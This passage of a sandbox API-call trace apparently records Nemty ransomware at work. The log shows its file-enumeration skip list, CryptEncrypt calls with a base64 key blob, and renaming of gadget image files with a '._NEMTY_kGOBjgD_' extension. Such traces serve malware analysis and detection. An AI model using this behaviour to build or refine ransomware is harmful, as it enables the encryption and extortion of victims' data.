RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0131.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseout.png", lpUsedDefaultChar=0x0) returned 25 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0131.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0131.336] Sleep (dwMilliseconds=0x5) [0131.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1effe30, dwHighDateTime=0x1d561e8)) [0131.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1effe30, dwHighDateTime=0x1d561e8)) [0131.350] GetLastError () returned 0x5 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.350] GetLastError () returned 0x5 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.350] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0131.350] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="e/mh0Q0O6NBevoS0x0JBH6nCnTN6/NZhz2uwM0tHjMMhZhympEE37Fy/HrcObNu4\r\nATn+VnohbSRG/20Cc2wTLAtEvv1qCSLeEc58YajFH/LwRxukSkK+VHMZ06qYZRnF\r\nzyUmsttnVzes501zAubsojDNmrCC+s2no28tfjKYaOMIE6AO+TXHgW3cmOyLgJSa\r\nZmR28T5mmpjGTav7y98dHknFIkn8ToYZ++1mndztYtzsYZbReBEn5/+s1QFZcErT\r\nOJfR4+H7uoL8nibD9g2VxDXwE1ZK5Nn8xvzUtdGqSpDG5A0X+sLT2ur5j52o0VRU\r\nv+Hj6IC4U1VUpgpzQZDlig==\r\n", pcchString=0x653e91c) returned 1 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0131.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.350] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.351] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.460] CloseHandle (hObject=0xffffffff) returned 0 [0131.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0131.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0131.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0131.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0131.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseout.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseout.png._nemty_kgobjgd_")) returned 0 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.461] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_right_mouseover.png", cAlternateFileName="")) returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2=".") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="..") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="...") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="windows") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="$RECYCLE.BIN") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="rsa") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="NTDETECT.COM") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="ntldr") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="MSDOS.SYS") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="IO.SYS") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="boot.ini") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="boot.ini") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="ntuser.dat") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="desktop.ini") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="CONFIG.SYS") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="RECYCLER") returned -1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="BOOTSECT.BAK") returned 1 [0131.461] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="bootmgr") returned 1 [0131.462] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="programdata") returned -1 [0131.462] lstrcmpiW (lpString1="button_right_mouseover.png", lpString2="appdata") returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseover.png", lpUsedDefaultChar=0x0) returned 26 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseover.png", lpUsedDefaultChar=0x0) returned 26 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseover.png", lpUsedDefaultChar=0x0) returned 26 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseover.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseover.png", lpUsedDefaultChar=0x0) returned 26 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0131.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0131.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0131.462] Sleep (dwMilliseconds=0x5) [0131.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2030930, dwHighDateTime=0x1d561e8)) [0131.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2030930, dwHighDateTime=0x1d561e8)) [0131.475] GetLastError () returned 0x5 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.475] GetLastError () returned 0x5 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.475] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.475] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, 